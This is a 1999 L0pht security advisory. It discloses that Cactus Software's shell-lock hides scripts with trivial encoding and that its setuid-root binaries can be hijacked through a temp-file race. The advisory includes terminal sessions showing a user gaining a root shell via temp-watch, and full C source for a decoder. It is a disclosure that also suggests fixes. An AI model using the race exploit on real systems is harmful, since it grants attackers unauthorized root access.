L0pht Security Advisory Advisory Released Oct 4 1999 Application: Cactus Software's shell-lock Severity (a): Users can de-obfuscate and retrieve the hidden shell code Severity (b): If a shell-locked binary is setuid root a user can execute any command as root. Status: The vendor has been sent a copy of the advisory (in a format that "Even if a hacker used the 'strings' utility, it would be a total waste of time.) Author: mudge@l0pht.com and lumpy http://www.l0pht.com/advisories.html Overview: (a) A trivial encoding mechanism is used for obfuscating the shell code in the "compiled" binary. Anyone with read permissions to the file in question can decode and retrieve the original shell code. Another vulnerability exists where the user can retrieve the un-encoded shell script without needing to actually decode the binary. (b) The vendors claim the program to be useful in creating SUID binaries on systems that do not honor SUID shell scripts and also to protect against the security problems with SUID shell scripts. As it turns out any shell-lock "compiled" program that is SUID root will allow any user to execute any program with root privileges. Example (a'): [slaughter-house] cat q.sh #!/bin/sh echo "hi there... this is a test" [slaughter-house] shell-lock -o q q.sh SHELL-LOCK(tm) Shell Script Security Software Copyright (C) 1989-1999 Cactus International, Inc. (Version: 2.1.1.1 7/19/99) Converting files: q.sh Compiling.....DEMO Version... Success!! The shell script "q" has been compiled and placed in "q" Conversion successful!! [slaughter-house] file q q: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped [slaughter-house] ./q hi there... this is a test [slaughter-house] strings ./q (some stuff... not the ascii from the shell script) [slaughter-house] ./codem -d -i ./q #!/bin/sh rm -f $0 2>/dev/null echo "hi there... this is a test" Example (a''): [slaughter-house] temp-watch -d /var/tmp -C 'q*' -D ./ & [1] 22971 [slaughter-house] nice +10 ./q hi there... this is a test [slaughter-house] more q* #!/bin/sh rm -f $0 2>/dev/null echo "hi there... this is a test" Example (b): # ls -l q -rwxr-xr-x 1 mudge other 50753 Sep 28 14:24 q # chown root q # chmod 4755 q # exit [slaughter-house] id uid=789(mudge) gid=1(other) [slaughter-house] ls -l q -rwsr-xr-x 1 root other 50753 Sep 28 14:24 q [slaughter-house] temp-watch -X '^q*' -R /bin/sh -d /var/tmp & [1] 23071 [slaughter-house] nice +10 ./q # id uid=0(root) gid=1(other) Background on shell-lock: Have you ever seen the big advertisements run in the back of SysAdmin magazine. You know, the ones with the Texan with the huge hat and sunglasses? Me too! Well, that is Cactus software and I've wanted to look at some of their stuff but never found the time. Until lumpy spotted some rather funny (read sad) stuff, and away we went. The program "shell-lock" is used to create ELF binaries from shell scripts. Ostensibly called a Shell Script Compiler, the literature states that the program also hides the original shell code so as not to be returnable through running strings(1) on the binary. A few tidbits from the product literature available on their web page ( http://www.cactus.com/shellock.html ): . There is absolutely no way anyone will know the contents of the shell script once it has been locked. Even if a hacker used the "strings" utility, it would be a total waste of time. . Make a simple limited shell script run with root power. This is done by making the binary executable a set-uid program, and eliminates giving out the "root password" to many users. And from the release notes: . Strong Security enhancements. All known methods of attack on a shell-locked script have been thwarted in this version. Details: A quick decompilation shows that the encoding and decoding routines look as follows: 0x16194 : inc %i4 Increment the counter 0x16198 : srl %i4, 0x1f, %o0 { 0x1619c : add %i4, %o0, %o0 { testing for odd v even 0x161a0 : andn %o0, 1, %o0 { 0x161a4 : cmp %i4, %o0 { 0x161a8 : bne 0x161b8 If they match 0x161ac : add %o1, 0x63, %o2 add 0x63 to the value 0x161b0 : b 0x161c0 else 0x161b4 : ld [ %i1 ], %o0 0x161b8 : add %o1, 0x44, %o2 add 0x44 to the value 0x161bc : ld [ %i1 ], %o0 0x161c0 : deccc %o0 0x161c4 : bneg 0x16228 0x161c8 : st %o0, [ %i1 ] 0x161cc : ld [ %i1 + 4 ], %o0 0x161d0 : add %o0, 1, %o1 0x161d4 : st %o1, [ %i1 + 4 ] 0x161d8 : and %o2, 0xff, %o1 and with 0xff (hey it's 0x161dc : stb %o1, [ %o0 ] ascii printable after all) 0x161e0 : ld [ %i0 ], %o0 0x161e4 : deccc %o0 This basically boils down to the following C code snippit. for (i=0; i < strlen ; i++){ if (!(i % 2)) outbuff[i] = (inbuff[i] + 0x44) & 0xff; else outbuff[i] = (inbuff[i] + 0x63) & 0xff; } Conversely the decoding subtracts 0x44 and 0x63 alternately. What shell-lock does when it creates the initial "compiled" binary from the shell script is to add the line "rm -f $0 2>/dev/null" to the bourne shell script (or "unlink $ZERO ; $ZERO=ENV{'X0'};\n.\nw\nq" for a perl script) and encodes the entire file. This is then copied into the data section of a skeleton binary file. The binary file, upon execution, reads the encoded data section and writes it out to a temporary file (*note: the default location is /var/tmp though it will follow the TMPDIR variable) and then execve's /bin/sh to call the program. The first method of extracting the data comes in using the attached program to read the binary and run the data section through the decoding routine. The second method of extraction is to use the current version of temp-watch (available freely from the L0pht advisories section) to make a copy of the temporary file containing the original shell code that is created when the binary is run. The SUID root vulnerability lies in the fact that while the temporary file is created without any special permissions, the file exec'ing it is running as root. Thus, as soon as one sees the temporary file the race condition exists where the user can unlink the file and replace it with a different file or a symlink to the program wishing to be executed. This is accomplished in the above example with the program temp-watch using arguments specifying the replacement of the temporary file with a link to /bin/sh. Solution: Do not take candy or accept car rides from strangers. If something seems too good to be true it probably is. There are few magic solutions that negate having to do things right in the first place. If you need a shell script to run with root priveledges consider writing it in C or using something like sudo. Do not rely upon shell-lock as an obfuscation mechanism for hiding the internals of shell scripts in 'compiled' binaries. Source Code: ---begin temp-watch--- temp-watch can be found at http://www.l0pht.com/advisories/l0pht-watch.tar.gz ---end temp-watch--- ---begin codem.c--- #include #include #include #include #include #include #include void usage(char *); int main(int argc, char *argv[]){ int fdin, fdout; int strlen, i, c; int cryptFlag=0, decryptFlag=0,seekFlag=0; int seekOffset=50688; char *infile=NULL, *outfile=NULL; char inbuff[8192]; char outbuff[8192]; while ((c = getopt(argc, argv, "cdhi:o:s:")) != EOF){ switch (c) { case 'c': cryptFlag++; break; case 'd': decryptFlag++; break; case 'i': infile = optarg; break; case 'o': outfile = optarg; break; case 's': seekOffset = atoi(optarg); break; case 'h': usage(argv[0]); break; default: usage(argv[0]); break; } } if ((cryptFlag && decryptFlag) || (!cryptFlag && !decryptFlag)){ printf("Must specify either -c or -d but not both\n"); usage(argv[0]); } if (infile){ fdin = open(infile, O_RDONLY); if (fdin == -1){ perror("open infile"); } } else { fdin = STDIN_FILENO; } if (outfile){ fdout = open(outfile, O_WRONLY|O_CREAT|O_EXCL, 0644); if (fdout == -1){ perror("open outfiel"); } } else { fdout = STDOUT_FILENO; } memset(inbuff, '\0', sizeof(inbuff)); memset(outbuff, '\0', sizeof(outbuff)); if (decryptFlag) lseek(fdin, seekOffset, SEEK_SET); while ((strlen = read(fdin, inbuff, sizeof(inbuff))) != 0){ for (i=0; i < strlen ; i++){ if (cryptFlag){ if (!(i % 2)) outbuff[i] = (inbuff[i] + 0x44) & 0xff; else outbuff[i] = (inbuff[i] + 0x63) & 0xff; } else { if (!(i % 2)) outbuff[i] = inbuff[i] - 0x44; else outbuff[i] = inbuff[i] - 0x63; } } write(fdout, outbuff, strlen); } close(fdin); close(fdout); return(0); } void usage(char *progname){ char *c; c = strrchr(progname, '/'); if (c) c++; else c = progname; printf("Usage: %s -cd[h] [-i infile] [-o outfile] [-s seek] \n", c); printf(" Shell-lock {en,de}coder by mudge@l0pht.com and _lumpy\n"); printf(" -c encrypt\n"); printf(" -d decrypt\n"); printf(" -h help\n"); printf(" -i input file\n"); printf(" -o output file\n"); printf(" -s seed offset [defaults to 50688]\n"); exit(1); } ---end codem.c--- .mudge mudge@l0pht.com